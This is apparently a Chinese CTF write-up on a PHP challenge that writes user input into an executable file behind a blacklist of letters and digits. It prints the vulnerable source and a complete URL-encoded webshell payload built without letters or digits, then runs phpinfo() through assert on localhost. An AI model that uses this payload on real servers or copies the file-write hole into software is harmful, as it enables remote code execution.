前言：
今天弄這個遇到幾個坑，還是成功復現，還是感覺多做做題還是很有好處的。
源碼：
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for($i = 0; $i < $length; $i++){ //這里官方給的是$id+ 改成$i++ 就沒問題了
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c']; //這里是我們傳入的參數
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~'); //可以看到沒有過濾 _ $ [ ]
foreach ($black_list as $b) { //foreach 遍歷數組列表給$b
if (stripos($data, $b) !== false){ //這里是比較我們傳參c的內容中是否有$black_list里面
die("WAF!"); //有就返回waf
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
介紹：
源碼中說的很清楚，就是會檢測我們傳入c的內容，不符合則中斷，
看到P神的一篇文章便是正好是不包含數字和字母的webshell，
P神webshell
可以構造payload,有與url中+號會省略，所以要先編碼：
?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
image.png
執行命令：
http://127.0.0.1:81/ctf/uploads/euyKWRNN7dmkkIEcmrTHGkxcIfcOLGD0.php?_=assert&__=phpinfo()
image.png
結尾：
很多挖洞并不是拼的腦力，而是體力。
